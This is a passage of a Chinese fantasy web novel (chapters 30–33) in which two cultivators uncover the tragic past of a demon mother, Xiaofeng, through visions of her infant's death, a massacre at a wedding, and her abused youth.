她一转头,猝不及防撞进一双浅笑的眼眸,不知为何,心底没由来的一阵慌乱。默默错开视线,却不知道说什么,胡言乱语道:“我……那个,结草衔环,来……来世做一头大青牛……”
“怎么?要驮着我成仙吗?”沐念秋被她逗笑,“我开玩笑的大
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青牛,不用来世,等你有钱了,赔我件新衣裳就行了。你看我这胸前,全是血。”
谢常安擦了一把不存在的汗,心里暗暗道:我慌什么呢,有什么好慌的?
“没问题!别说一件,十件二十件一百件都行!”
“哈哈,钱不多,口气不小啊!”
-
两人修整了片刻,确定沐念秋真的没有什么问题了,谢常安才稍稍放下心来。
“诶,你真没事了吗?你刚刚明明吐了那么多血啊……”
“我……妖化的时候身体会变强,别担心,是真的没事”沐念秋解释道。
“还会这样嘛?”
两人沿着女妖消失的方向找去,一路上发现湖底竟有一大片没有水的空间,一草一木、一花一树都绚丽无比,像极了一个避世的桃源仙境。
“这也太漂亮了,要是我在这么美的地方长大,不知道会多幸福!”谢常安感叹道。“这女妖在水底建了这么大一片仙境,还有那口水晶棺,究竟是为什么?这真是太奇怪了……”
“能在湖底支起这么大一片结界,又能随意得操纵扭曲周围的空间,以她的本事,看来栖霞山谷的结界应该就是出自她手了。”沐念秋分析道。
谢常安却有点儿担心:“那咱们这是找对地方了……可是,她这一跑,咱们上哪找她去,而且……我有点……”
“怎么?”
“……就算找到了,咱们也不是她的对手吧,沐师兄,我不想再看见你受伤了。”她垂下头去,看看自己的脚尖,怏怏不乐。
沐念秋看着她的发顶,伸手摸了摸她的脑袋,“这不是反正也找不到她嘛,咱们来都来了,先在这附件找找看,我倒觉得……一定能发现什么。”
“唔……真的假的,咦,那是什么?”谢常安将信将疑,没想到一抬头,说什么来什么。
果然不远处的树梢上,歪歪地挂着一只风筝。
“这么神的么,要啥来啥,这就有点儿……了吧?”谢常安怎么想怎么觉得有点儿不可思议。
这一路上,每当线索中断时,总会有新的线索出现在眼前,不知道是该说是运气太好,还是说所有发生过的事皆有迹可循。
话虽如此,两人还是过去离近了些,站在树下,沉吟片刻,还是取下了风筝。
风筝小小一个,有些破旧,但是每一根竹条都十分结实,可以看出做风筝的人非常用心。薄薄的鸢纸上画的是一只五彩缤纷的小兔子,活泼灵动,一看就是小孩子喜欢的玩具。
“这是什么?”
风筝的一角上沾着几点深褐色的污垢,不知是什么。
谢常安伸手一摸,没想到刚沾上一点风筝边,熟悉的恍惚感又出现在身上,轻轻的风筝仿佛伸出无数条牢牢的藤蔓,将她的灵魂拉向过去。
她的眼前景象大变,走马灯一样出现了许多支离破碎的画面,霎时间,嘈杂的人声,倒塌的房屋,孩子的尸体,燃烧的火焰……一幕幕在她的脑海里翻腾。
她耳畔轰鸣,身体一软,倒向沐念秋。
30. 童谣
“不可以,不可以!”
她脚步不停,心如擂鼓,心中只有一个念头——决不能在这里倒下去。
“呼——哈,呼哈——”
小路上静悄悄的,太阳还没升起,正值长夜将尽,黎明将至之际,清晨的风打在身上凉飕飕的。
身后的追兵已经被远远甩开,她慢慢停下了奔跑的脚步,这条路人迹罕至,她却十分熟悉,每一棵树,每一处弯,每一块儿石头——不远处这块隐没在草丛间的半人高的大石头,像个土地神岿然不动,伴着晨星和露水,静静地立在那里。
还在吗?
多日的奔波,她的体力已经到达了极限,剧烈的奔跑后,她的嗓子隐隐有一丝血的味道,她吞了口口水,一路上滴水未沾,嘴唇和喉咙像是要裂开了一般。
越来越近了。
她一身尘土,汗水和雾气打湿了头发,一缕缕的贴在脸上,剧烈的奔跑和连日的饥饿让她双腿发虚,两眼发黑。
石头后露出一双小鞋。
还好,还在……
她稍稍松了一口气,微微发抖的手把脸上的碎发拨到脑后,两眼直直看着那双小小的虎头鞋,飞快跑了过去。
大石头后是一片柔软的草丛,草丛上铺着一件旧衣服,上面躺着一个刚刚满月的婴儿,不哭也不闹,似乎睡得很香。
接二连三的不幸降临在她身上,此时看到孩子还完好地躺在这里,她几乎要哭出来了,脚下一软,踉跄着跪倒在孩子身边,颤抖着抱起熟睡的婴孩。
“小久……妈妈来了……”
孩子毫无反应。
“小久,小久……别怕,没事了,妈妈来接你了……”
孩子的呼吸早已停了,冰冰凉凉的。
女人抱着孩子冰凉僵硬的身体,脸上的表情扭曲崩溃,泪水不受控制地涌了出来,她露出一副疲惫至极,不可思议的表情,发出一声非人的哀嚎。
“是妈妈来晚了……是妈妈来晚了……是我,是我……”
清晨的小路上万籁俱寂,草丛里一个浑身狼狈至极的女人,正目光呆滞地紧紧搂着一个小小的女婴,嘴里一会儿喃喃地叫着孩子的乳名,重复着几句话,一会儿又轻轻拍着孩子哼着儿歌。
她用力地想把自己蜷起来,仿佛想把孩子重新放回自己的肚子里,任凭她如何呼唤,孩子终究是一点儿反应也没有,再也睁不开眼睛了。
“花蝴蝶,花蝴蝶,飞呀飞。飞到家,小宝宝,睡呀睡……”
-
不知过了多久,谢常安感觉到了一股巨大的悲伤用力地撕扯着自己的灵魂,睡梦中女人哼唱的儿歌还在脑海里回荡着,那是一个母亲心死的声音。
她又一次被拉入一个如此真实的梦境,切切实实体验了一把别人的悲欢离合,竟是如此的断人心肠,把她的心搅得七零八落。
“谢常安,醒醒……”
有人在用力地摇晃她。
熟悉的声音在叫她的名字。
谢常安?谢常安……
谢常安……我是谢常安!
谢常安睁开眼睛,四肢的感觉渐渐回拢,眼前是熟悉的一切,刚刚经历的一切像是一场幻觉,庄生晓梦一般,转眼烟消云散了。
她大口的呼吸着,不知何时泪水流了满脸,流的不知是谁的泪水。
沐念秋的脸上写满了担忧,自打她碰了这个风筝后,任凭他怎么呼喊都不省人事——显然这里的东西都有问题。
可他检查再三也发现不出异常——谢常安倒在他的怀里,呼吸平稳,脉象没有一丝异常,就像是睡着了一样。
“沐念秋?”
怀里的人双眼迷离,看着他近在咫尺的脸,双眼逐渐对上了焦。
“你醒了,感觉怎么样?”沐念秋问道,拿袖子擦了擦她脸上未干的泪水。
“我……”谢常安一脸迷茫,手指攀上沐念秋的小臂,脑海里全是零零散散的不属于自己的记忆。
“呕——”
话没说完,她胃里一阵翻腾,吐了个肝肠寸断,一半吐在自己身上,一半全吐在了沐念秋的袖子上,吐完她眼前天旋地转,眼看就要软软地倒下去。
沐念秋怕她倒在自己的呕吐物上,赶紧避开自己脏了的那只袖子,拦腰把她捞起。谢常安身体软绵绵的没有一点儿力气,所有的重量全放在了沐念秋身上。他稳稳地托着她不让她滑下去,一只手紧紧握着她冰凉的手,一只手轻轻拍着她的后背,希望她能好受一些。
“对不起啊……弄脏……”谢常安断断续续地喃喃道,眉头紧锁,双眼迷离,脑袋歪在沐念秋的肩头,嘴里的声音越来越小。
沐念秋浑不在意自己的衣服,他低头望着没精打采的谢常安,拿自己干净的那只袖子默默擦了擦她的嘴角,看了看四周,打横将她抱起,走到一处干净的地段,把她放下,又去找了点干净的水。
这病来势汹汹,谢常安烧的迷迷糊糊,沐念秋小心脱去了她弄脏的外衣,又喂她喝水,帮她擦脸。
她静静地闭着眼睛,小脸因为发烧的缘故,变得红扑扑的,嘴唇也红红的,再不是平时眉飞色舞的样子。
他不自觉地细细描摹着她的眉眼,眼底是自己也没意识到的温柔。
谢常安的意识在梦境里沉沉浮浮地挣扎了许久,一会儿是烟火燎原的熊熊大火,一会儿是碧草如茵的世外仙境;一会儿是女人歇斯底里的凄厉尖叫,一会儿又是一道男声温柔如水的柔情蜜意……
“愿得两心同,白首不相离……”
-
谢常安又一次睁开眼睛,头痛欲裂,她忍着头疼,面色不善地坐起身来,身上衣服干净清爽,环顾四周,沐念秋倒是不在身边,不知跑到哪里去了。
她一想到自己最近说病就病,说倒就倒,心里就十分的沮丧疲惫,许是受到了梦里女人的影响,又或是生病叫人情绪低落,一想到他们在这倒霉山谷里耽误了这么长时间,却几乎只是在兜圈子,没什么进展,不免觉得前路漫漫望不见尽头。
“唉。”
她重
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重地叹了口气,完全没了二八少女的朝气,颇有种半截入土的沧桑。
见沐念秋还不回来,她只好自己靠在一边的石头上,闲来无事,漫无边际地回想起这两天发生的事情。
连日的兵荒马乱,谢常安难得有一段空白的时间可以静静地思考,风吹过宁静而空荡的山谷,她深吸了一口气,脑中稍稍清明几分,连日种种浮上心头。
她隐隐感觉有一根极细的线,千丝万缕把所有疑点都串了起来,可她却抓不住那个最关键的线头。
“在想什么?”沐念秋随手将一个果子扔到她怀里。
“啊?哦……”
她想的出神,连沐念秋什么时候靠近的都没发现。
“感觉好点了吗?再休息一下咱们就出谷吧。”见她睁着两个茫然的大眼睛答非所问,沐念秋浅笑出声。
“出谷?!为什么!”谢常安一下回过神来,惊诧道。
“因为我很担心你。”沐念秋望着她平静地说道。
谢常安看他似乎全无所谓,丝毫没有对半途而废的压力——他们千里迢迢翻山越岭才终于走到这里,一切都初现端倪,怎么可能一走了之,开什么玩笑?
她震惊之余急忙劝道:“那怎么行!都走到这了,现在出去算怎么回事?再说……再说了也不能把卢大哥一个人丢在这里呀!”
“……你就这么担心他?”沐念秋似乎有些苦恼,低眉轻声问道。
“什么?谁?重点是这个吗?”
谢常安一脸错愕,她万万没想到自己好不容易刚睁开眼睛没多久,自己“稳重温柔靠谱”的队友突然打起了退堂鼓,当下也顾不上惆怅和沧桑了,顿时犹如被踩了尾巴的耗子,打了鸡血般跳了起来。
“我是说……哎呀,我真的没事了,你看!”
沐念秋的三言两语宛如一剂良药,她头也不疼眼也不花了,转了个圈给他看,神采飞扬地拉住他,语重心长地批评道:“你这要是写话本,就算是烂尾,实在是让人难以接受,我能感觉到,胜利就在前方,真相马上就要浮出水面了,听我的,快走吧!”
话音刚落,只听得前方不知多远处隐隐传来一阵嘈杂的声响。
谢常安随口胡诌,本想着先画饼充饥望梅止渴,没想到前方真有丝竹管弦乐声传来,当即也是大吃一惊,暗暗称奇。
“你看吧?”
沐念秋深深地看了她一眼,默不作声地握住了她的手腕,探得她脉息无碍,才道:“没事就好。”
走了没多远,穿过一片枯萎的枫林,两人来到一处热闹的院落,院中张灯结彩,挂满红灯红绸,院门上贴着两张大大的喜字,主人正言笑晏晏招揽宾客,四周充斥着道喜的声音,一派喜气洋洋,和乐美满。
谢常安看着眼前喜气洋洋的景象,却感觉一阵说不出的诡异——这尘封多年的山谷谷底,怎么会住着人呢?
两人对视一眼,脸上都是说不出的疑惑,可临到阵前,断断没有止步不前的道理,当即走到跟前,想要一探究竟。
31. 春生
见到两个与周围人格格不入的陌生人来到酒席,那迎宾的小厮却一点儿反应也无,依旧笑容满面地把他们请了进去,好酒好菜地招呼。谢常安随便找了两个空位,坐在一桌人间,看着桌上的菜肴不动声色地咽了咽口水,没敢吃。
“今天是我大喜的日子,陆某不才,这么多年承蒙诸位父老乡亲的照顾了,在此,我想感谢各位抬爱,大家吃好喝好”
一个新郎打扮的男子红光满面朗声道,说罢举酒一饮而尽,院中客人纷纷鼓掌附和,道贺之声不绝于耳。
“……是啊,我看着他从小娃娃一点一点长起来的,他小时候可不爱说话,瞧瞧现在……啧啧啧!”
“现如今竟也是仪表谈谈,气度不凡啊!”
“真是好福气,听说新娘是相府的千金,娶到了这么好的媳妇,往后真是飞黄腾达指日可待了。”
“他小时候我还抱过他呢,现在也是飞上枝头变凤凰了,往后还认咱们这些老相识么?”
“你那是什么话,什么‘飞上枝头变凤凰’,那叫‘一人得道鸡犬升天’!”
“行了行了,你们几个大老粗,会不会说话啊,都少说两句罢,咱村能出一个状元郎不容易……”
“祖坟冒青烟……”
一片嘈杂的人声中,谢常安断断续续听了几耳朵一桌周围的人议论道。
“说起来这还是我第一次参加别人的婚礼嘞,原来是这种感觉,好热闹啊!”谢常安道。
“……”
“你嘞,听说你有个大哥,怎么样,有没有娶过亲?”谢常安凑近过去,好奇道。
闻言,沐念秋一挑眉,无奈道:“没有,和我一样,他尚未娶妻。”
谢常安遗憾的摇了摇头道:“唉,可惜呀可惜……”
“可惜什么?”
“可惜现在场合不对,不然难得如此良辰美景赏心乐事,咱们一边吃席,一边八卦……不是,闲谈,一边聊聊天,想想都觉得太安逸了。”
沐念秋微微一笑,“你有什么想知道的,尽管问我,我保证知无不言言无不尽。”
他目光澄澈,莹莹间仿佛盛着一汪清冽的月光,谢常安一下被他笑盈盈的眼眸晃了眼,仓皇错开目光,“我……我也没……”
话未说完,突然间一道惊雷划破天际,雷声由远及近隆隆作响,狂风大作飞沙走石,周围方才还在把酒言欢的父老乡亲们顿时个个如同石化的雕像一动不动了。
弯月高悬,压在树梢上,天空电闪雷鸣,变成了不祥的血红色,风雨欲来。
一道凄厉的女声划破夜空,只听得空中传来一声玻璃破碎的声音,一道身影裹挟着重重黑雾,踏破虚空闯了进来。
那人身形快如鬼魅,转眼已略至身前,谢常安只感到一阵刺骨的严寒夹杂着狂风扑面而来,来人正是之前和二人大打出手的神秘女妖。
“你们是谁?”
谢常安本都已做好恶战一场的准备,没成想那女妖停至二人身前,问出这么一句——显然没把他们放在眼里,早已不记得之前的事了。
她面上闪过一瞬间的错愕,随后立刻恢复了一副冰冷至极的颜色,丝毫不再理会任何人,神色不虞地环视了一圈周围的景象,随手一挥,一圈气浪如同利刃,眨眼间,方才还热热闹闹的小院一转眼已被夷为平地。
谢常安不知这女妖在生气什么,幸亏二人躲闪及时,才没有被波及分毫。可那院中其他一动不动的人就没那么好运了,肉体凡胎哪里抵挡得住这般威力,早已被切成了一块一块的肉块。
谢常安望着散落一地的血淋淋的残肢,刚好点儿的胃又恶心起来了,一时真不知要作何反应,新婚燕尔转眼变做凶案现场,红绸满地,杯翻酒洒,尸体成堆,实在是地狱得不能再地狱了。
她踮着脚连连后退几步,一不留神踢到什么,被狠狠绊了一下,险些摔倒,一个小跳堪堪保持住平衡,再一回身——绊倒自己的不是别的,正是刚才还意气风发的新郎官的头。
…………
她眼皮抽动,倒吸一口凉气,脚跟踢踢踏踏,不自觉地攥着身边沐念秋的手腕,不敢相信眼前的一切是真实发生的——第一次参加婚礼就发生这样的不幸,她感觉自己简直这辈子都要对结婚产生阴影了。
“呃……”谢常安不知该开口说什么。
那女妖旁若无人,气急败坏,自顾自大喊道:“姓卢的!你给我出来!你造出这些算什么?出来,别躲在暗处不出来,我要杀了你,我要杀了你!!!”
谢常安见势不妙,拉着沐念秋悄悄躲在了一块大石头后面,沐念秋任她拉着也不反抗,两人就这么既不上前也不离开,不远不近地猫在一处,间或鬼鬼祟祟地探头张望。
“姓卢的?难道她在叫卢大哥?不会这么巧吧……不过也不好说,卢大哥这人,很难说能干出什么来。”谢常安自言自语道。
-
眼见那女妖一通狂轰滥炸简直要把方圆十里都夷为平地,忽的白光一闪,从半空中跌下来一个人,那人虽裹着一块不知从哪淘来的破布斗篷,但举止身形异常的眼熟——正是消失已久的卢大哥。
“不会吧?!真是他!他又在搞什么??”谢常安大惊。
卢大哥不仅穿着打扮鬼祟至极,更让人惊愕的是,跟着他一起跌下来的还有一座一人高的棺材,那棺材不大不小,可不就是那口装着女婴的水晶棺!
谢常安看得出神,“我去,真是他偷的棺材?!”
只见卢大哥肩上扛着棺材,迎着猎猎长风站定,衣袂翻飞,颇有种世外高人的气定神闲。
“不是,他为什么这么冷静?就这么扛在肩上吗?”谢常安忍不住吐槽道。
女妖见他主动现身,明显冷静了许多,收了周围杀意十足的气场,周遭杯盘碎裂,一地狼藉,她深深地看了一眼卢大哥肩上的棺材,终于开口道。
“春生,你没死,为什么要骗我?”
“我从来没骗过你。小枫,我想帮你。”卢大哥——现在应该叫卢春生,开口解释道。
名叫“小枫”的女妖歪了歪头,全然没听到似的,冷冰冰的脸庞慢慢蔓延上一丝扭曲的裂痕,似乎在极力地按捺着什么,片刻后,她接着自顾自咆哮起来。
“你也骗我,为什么你们都骗我,为什么!!!”
“你冷静点好不好,别再一错再错了。”
“我没错!我做错了什么?是他们,是他们都要我死,我凭什么?我就活该倒霉吗!!”
“是,你是倒霉,可……可那么多无辜的人,那是一条条命啊!!”
“别人的命干我屁事!!他们死不死,死了是他们活该,是他们倒霉!”
“小枫,你怎么会变成这样,谁都是爹生娘养的,谁的命都是命。”
女妖深吸一口气,冷笑一声,“那你呢,你没杀过人?你变成现在这样你就甘心吗?”
不等
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他回答,她抬起下巴倨傲道:“他说得对,一切都是弱肉强食罢了,要想活下来,就要适应这个规则。不想被吃,就得吃人。”
“……他是在利用你。就当是为了小久,收手吧。”
她哈哈大笑起来,仿佛听到了什么十分好笑的事情,“别做梦了,他利用我又怎么样?就是为了小久,我才不可能收手!!”随及一转眼又恢复那个生人勿进的模样,“我告诉你,我早就不是以前那个小枫了,看在从前的份上,把孩子留下,我放你走。”
沉默半晌,卢春生似是下定了某种决心,铿锵有力道:“不可能!”
惊雷一声暴起,满地尸块碎木纷飞,她深深地吸了一口气,语气冷了下来,平静道:“既然如此,你也跟他们一样,都去死吧。”
女妖举起右手自虚空中一握,顿时妖气聚拢成型,手中出现一柄无形的长枪,她手握长枪,丝毫不留情面,飞身略去,直直刺向卢春生的胸口。
卢春生却全然不顾,放下棺材,盘腿坐在原地,
信息量太大,卢大哥就是墓碑上已死的春生,而对面的女妖似乎是梦里那个漂泊无依的孤女小枫,谢常安尚不及细想,眼见卢大哥竟全然不顾刺向自己的利刃,反而坐在原地,这不是等死是什么?
谢常安没想到怎么一下子会变成这样,脑子没反应过来,身体已经先一步冲了出去。
可一切发生的实在太快了,女妖小枫似乎有着扭曲空间的妖力,瞬移般飞至卢春生身前。
谢常安只来得及远远抛出一个护盾挡在卢大哥身前,可那护盾哪里能抵挡得住如此剧烈的攻势,蚍蜉撼树螳臂当车,只一瞬就被击了个粉碎,丝毫无法阻止女妖夺命的攻击。
“卢大哥!!!”
-
风烟散尽,卢春生毫发无伤,那水晶棺却碎了一地。
小枫冷冰冰的面孔彻底破碎,不可置信地睁大了眼睛,厉声尖叫,听着叫人头皮发麻,“不——不!!!!”
她形象全无,跌跌撞撞跑向孩子,孩子乍一离开水晶棺,皮肤就以肉眼可见的速度迅速的皱缩失水,像是一朵枯萎的干花,已死的躯体留不住鲜活的生命力,转眼间,已变得如同干尸一般。
小枫抱着皱缩成小小的一团的婴儿,全身都在发抖,她整张脸扭成一副奇怪的表情,一双金色的眼睛直愣愣地看着怀里的已经不成人形的婴儿,状若疯癫,嘴里喃喃道:“小久,娘在这儿,没事的,娘来看你了,你醒醒好不好,别吓我啊,别吓我好不好,我求求你……”
她嘴里句子断断续续不成章,手足无措地搂着怀里不成人形的干尸,眼泪啪嗒啪嗒地往下掉,“你看,我给你带来什么了,小久,你最喜欢的,睁开眼睛看看妈妈吧……我不行,我不行……”
她一点儿顾不上在意突然窜出来的谢常安和沐念秋,只是疯魔般地一遍遍叫着婴儿的名字。
“小枫,对不起,你别这样,我知道你……可是孩子她早就不在了,你能不能听我一句劝,不要再执迷不悟了,放过你自己吧!”
卢春生终是不忍,走上前想拉开她。
“你滚开!!!”
小枫大吼一声挥开卢春生,金色的眸子布满了血丝,她低下头,轻轻摸了摸孩子的小脸,殷切地望着怀里的小小的尸体,眼神里饱含着无限的眷恋,声音充盈着无限的温情。
“别怕小久,有娘在,我绝不会,绝对不会再看着你死在我面前。”
32. 同尘
那女妖周围爆开一圈金光,浑身气焰大盛,妖力如同泄洪一般源源不断地流向婴孩小小的身体,眼见那已经干瘪的躯体竟如同充气皮球般渐渐丰盈起来,腐朽的血肉重塑,源源不断的生命力被注入了这具没有灵魂的躯壳。
饶是沐念秋,也从未听说过有如此妖术,竟能够起死回生。
可起死回生是需要付出巨大的代价的,短短几秒,小枫的头发已花白,仿佛被吸干了生命力一般,迅速地枯萎了下来。
“小枫,你疯了吗?!”卢大哥没想到她能做到到这个份上,自爆妖丹,这与自杀无异,他迫不及待地想要阻止,不顾一切就要冲上去,却被一层无形的屏障弹开,无法靠近。
“你别这样小枫,你听我说,你这样会没命的,你会魂飞魄散的你知道吗……小枫!!!”
小枫容颜不再姣好,身上却没了那股疯癫的冷漠,多了几分死灰般的淡漠与平静,她抬起头来,冲着卢春生微微一笑,竟有几分少女似的天真烂漫,她嘴巴开合,声音越来越小,身体渐渐化作飞星点点,消失在茫茫夜色中。
“算了吧,我早就活够了,从前种种……”
看着她的笑容,谢常安突然涌上一阵难以言说的难过,平心而论,她和这个叫做小枫的女妖只不过萍水相逢两面之缘,她不认识她,也不了解她,不知道她的悲喜来自何方,去往何处。
她只知道现在自己没办法眼睁睁地看着她就这么死在自己眼前,或许是身不由己的感同身受,也或许是见多了人间疾苦的悲天悯人。
她不想再看见有人不明不白的含恨而终,不想看见有人穷尽一生郁郁不可得。
电光火石之间,她不顾一切,以身为器,冲了上去。
四散的星点重新聚拢,飞进谢常安得身体里。
谢常安感觉一股巨大的严寒冲向她的灵魂,整个人仿佛被拉入彻骨的深渊之中。
她看见了一切。
-
破旧的小院里,一个格外矮小瘦弱的小女孩——女孩和谢常安梦中小时候的小枫一模一样,她艰难地抱着一捆柴,熟练地走到灶台边生火做饭,搬来一旁一个小木板凳站在上面,才勉强够到比她还高的灶台,小小的肩膀一耸一耸的,没过一会儿,就把简单的午饭做了出来。
她收拾好厨房,端着饭走进屋子,整齐地放到桌子上。
“娘,饭做好了。”
屋子不算大,大白天的光线却十分昏暗,装饰布置有几分艳俗,窗边梳妆台前背对着坐着一个女人,正拿着一把红色的木梳子慢慢地梳头,轻薄柔软的衣衫从她的胳膊上滑下,只露出一截纤细白皙的手腕。
小枫没有爹,屋里的女人是她的娘,可娘是什么呢?
她偷偷听见过村里别人家的孩子唱童谣,童谣里的母亲是最亲近的世界上最好最温柔的人,是孩子永远的避风港,会一直保护自己的孩子,有娘的孩子就是世界上最幸福的孩子。
她还小,不太能理解。
别人都说她母亲是个不要脸的婊子,万人骑万人压,是“下九流”,平日根本没人与她们往来,男人们看不起她们,却会避开人偷偷来找她们,还总是会叫她母亲“件货”——她不懂件货是什么东西,但从男人们戏谑下流的目光中可以看出,那应该是什么不好的东西;女人们看不上她们,恨她们勾引自己的丈夫,出门不巧撞上,那些“良家的妇女”也只会视而不见地绕开她们,仿佛靠近她们的空气会玷污她们清白的贞操。
母亲很漂亮,和村里其他女人不同,她生的细皮嫩肉,眉目如画,布衣荆钗难掩国色天香,极少笑的时候有一种江南水榭的风情,看模样是放在大户人家做大小姐的,不知为什么在这个偏远的小村子里做这个勾当。
那女人不笑的时候也眉眼弯弯,天生一副招桃花的好面孔,她就这么慈眉善目地踱到桌前,看也不看地先随手给了小枫一巴掌,兴致缺缺地夹了两筷子菜,又纡尊降贵地随口骂了小孩两句,又觉得碍眼,打发条狗似的挥开她。
小枫习以为常地从地上爬起来,转身出门,屋外阳光明媚,母亲的坏脾气一点儿没影响到她的好心情,她悄无声息地走出院子,沿着村里一条人烟稀少的小径,一蹦一跳越走越快。
谢常安跟着她的视角打量了一通这个山里的小村子,孟春时节,一切都是欣欣向荣的,鲜花竞相绽放,蝴蝶翩翩起舞,嫩绿的草芽探出头来,路旁的新叶如翡翠般晶莹剔透。
她哼着歌,间或停下来摘路边好看的野花,走走停停,不一会儿就精挑细选地摘了一小把——今天是约好了来河边找陆哥哥的日子,她觉得很高兴。
陆哥哥是她最崇拜的人,也是村里唯一一个愿意和她说话的小朋友——每次见他,他都会从身上变出很厉害很厉害的东西,有时候是好吃的,有时候是好玩的。陆哥哥特别聪明,什么都知道,每次他们在一起都有说不完的话,而且陆哥哥从来不打她也不骂她,小枫觉得他比童谣里的“母亲”还要好,如果能天天见到陆哥哥,自己一定比“有娘的孩子”还要幸福。
她要把世界上最漂亮的花都送给最喜欢的人。
-
寒来暑往,日月交替,小枫从一个小小的孩子新竹抽条般长成了一个亭亭玉立的少女。
长大了,她渐渐从别人的眼中知道了母亲的不堪,也理解了她是有多么得不容易,可能自己天生命不好,低人一等,等她长大了,有本事挣钱了,她一定要带着母亲过有尊严的日子——哪怕是干最辛苦最劳累的体力活也没关系,她从来不怕吃苦。
想到自己以后的营生,她心里感觉充满了希望,她们村子叫“望霞村”,离妖界很近,和栖霞山谷比邻而居,靠山吃山靠水吃水,理所当然的,村里的人靠捕妖为生——边境有时候会有离群的小妖,杀了能卖个好价钱,皮毛、妖丹、骨肉甚至牙齿眼睛……都是珍贵的物资。村里还有些胆大的男人,甚至和一些边境不要命的走私犯勾结,以此把“货物”卖到黑市,那些“大人物”的手里,以此来赚取更高额的利润。
她能做什么呢?打打杀杀的她可能不行,洗衣做饭倒是十分擅长,可以去外面的茶馆旅店做洒扫仆役;她还会进山采药,山里的药材她都认得,可以去医馆做药童;或者可以试试别的——听说栖霞山谷里遍地都是值钱的宝石,她可以偷渡过去,采回来换好多好多钱,虽然妖界十分危险,可是万一成功呢……
她越想越远,仿佛已经置身金钱与幸福的海洋,心里感觉暖融融的,再过两年,换她来养母亲,到那时候,娘就再不用做自己不喜欢的事情了——虽然母亲待她并不算好,可那有什么关系呢?毕竟她们守着这个小小的院落,相依为命这么久。
她们是母女,天生拥有永不消弭的血缘关系,或许是孩子天生都会本能地爱母亲吧,小枫觉得自
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己愿意守着这里和娘过,就这样日复一日慢慢过一辈子也挺好。
直到有一天,母亲叫她接班。
这年她十四岁,如花似玉的年纪,所有的梦想化作泡影。
-
谢常安看着小枫度过了很长一段浑浑噩噩的时光,像以前一样,来到这间院子里的男人有老有少,有本村的邻居,也有别的村里来的客人。
直到她十六岁时,小院里来了个熟悉的新客。新客人是两年多没见的“陆哥哥”。
小枫和陆哥哥大吵一架,不欢而散。
当天夜里,她收拾行囊,跑了。
她在这个院子里生活了十几年,可真到要走的时候,却发现自己需要带走的东西就只有那一点点,想想真是可笑,世界上本应该最爱她的母亲伤害她,她唯一的朋友背叛她,活着也是够没趣的。
她避开人群,独自一人进了山。
满天星光,满路月亮,山风溪月,虫鸣鸟叫,她久违地品出一点儿自由的感觉。
山路崎岖,因为几乎无人到访,所以路未经开发格外难走,小枫也不着急,她根本没有目的地,深一脚浅一脚,泥土弄脏鞋袜也浑不在意,孤魂野鬼一样往山林更深处走去。
周围一个人也没有,没有男人,也没有女人,她走了半宿,累了就找了片空地一躺,席天慕地,月亮离她那么近,一抬手就能摸到似的。
小枫虚虚地伸出手,月光在她姣好的脸庞上打下一片阴影。她看着月亮,忽然没由来的大哭起来,眼泪流了满脸,又顺着眼角流到耳朵,哭了不知道多久,她觉得精疲力尽,自己已经很长时间没合过眼了,四肢酸痛头脑发昏,应该是病了。
病了也好。有什么关系呢?有谁会在乎呢?
就在她意识即将模糊的时候,忽的一阵尖锐的疼痛从她的脚腕传来,这山里杳无人烟,毒虫猛兽自不会少,麻痹的感觉顺着脚腕向四肢蔓延,她一动也懒得动,迷迷糊糊地想,这下还没病死先要被毒死了。
回顾自己短暂的一生,乏善可陈,皆是苦难。
不过终于要解脱了……
谢常安看着她孤零零地躺在大山里,却并没有如同预期的那样变成一具无人问津的白骨。
她没想到自己还能醒过来,一睁开眼,天已大亮,一束阳光透过树叶间的缝隙打在她的脸上,她麻木地看了看四周的鸟语花香,许久才慢慢品出一点儿重获新生的惊喜。
“哈哈哈哈哈哈哈哈哈……”
她突然疯了似的大笑起来,笑得眼泪都流了出来,笑声在寂静的林间显得格外突兀。
想活的时候活不好,想死的时候死不掉,她这条命,从来身不由己。
一阵脚步声出现在她身后,打断了她的笑声。
谢常安借着小枫的眼睛看到了一个惊为天人的生物——那是绝迹已久,只在仙门读本里才出现过的大妖“白猊”。
拘书中描述,此妖雌雄同体,外形像鹿又像蛇,拥有漂亮的羽毛和角,价值千金,血液能解百毒治百病。所以一度几乎被捕杀殆尽,世间已有数十年未见其踪迹了。
只见那妖与书中描写所差无几,周身散发着莹莹光辉,周身皮毛白的晶莹剔透,如同神邸降临,和光同尘。
它一步步慢慢踱到小枫身前,一步一变,及至走到跟前,已一头白发及至膝间,出尘仙子般,如清水出芙蓉,天然去雕饰。
33. 沉冤
小枫就这么在山上住下了,她渴了喝山间的溪水,饿了就摘野果子吃,每天无所事事,看着日升日落,花开花谢。
她管它叫小白,而小白从不过问她以前的事情。
“小白,你看这个小花会发光诶!”
“对啊,这是会发光的花,在我们妖界很多的。”
“那我也想去妖界看看。”
“……”
“诶小白,我们今天吃什么啊,我不想再吃生的啦!要不我教你生火做饭吧!”她抱住小白的腰,把头埋进它的肚子里,嘟嘟囔囔地撒娇道。
“好啊,需要什么,我帮你找。”
“小白,我不想睡觉,我想去山顶看星星,你困不困,咱们起来看星星去吧。”
“哈——”小白睡眼朦胧,爬起来迷迷糊糊道:“我也不困,咱们走吧,我驮你去。”
小枫趴在它软软的羽毛上,风贴着她的脸颊,周围的景象飞快地倒退,她像坐在云上,又像躺在风里,他们不问过去,不讲将来。
山顶的月亮格外的大,星幕低垂,一切尽收眼底。
她呼吸着山巅之上微凉的空气,这里远离世俗尘嚣,能包容她早已千疮百孔的灵魂。
“小白,你为什么救我?”
“嗯……因为你当时还没死。”
“噗,就这样吗?”
“对啊!”
“你怎么一点儿防备心都没有啊,万一……万一我是进山打猎的坏人,你救了我,那不是农夫与蛇的故事了吗?”
“你怎么会是坏人呢?”
“哎呀,我是说万一!反正以后你不能再随便救人了,知不知道?”
“哦。”
“哼,你根本没好好听我说话嘛!”
小枫佯怒,扑过去抱着它闹作一团。茫茫天地间,好像只剩下他们两人。
“……小白,你……是男是女?”
她居高临下趴在小白身上,看着它淡金色的眼眸,流光溢彩,映着山川湖海。
“我们不分性别,按照你们人类的说法,我非男非女,雌雄同体。”
山月为裳,溪风作被,呼吸交错间,万籁俱寂,静得只听得见二人的心跳声。
这一夜,小枫把自己的灵魂交给了它。
白驹过隙,平静的生活过了三年后,小久出生了。
那是小枫一生中最幸福的一段时光,可好景不长,命运又一次和她开起了玩笑。
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许是灵魂积压了太多的痛苦,这段记忆谢常安看不真切,她的意识如同枯木随波浮沉,无数声音在她的脑海里回荡,一片火光中,有谁在大声呼喊她。
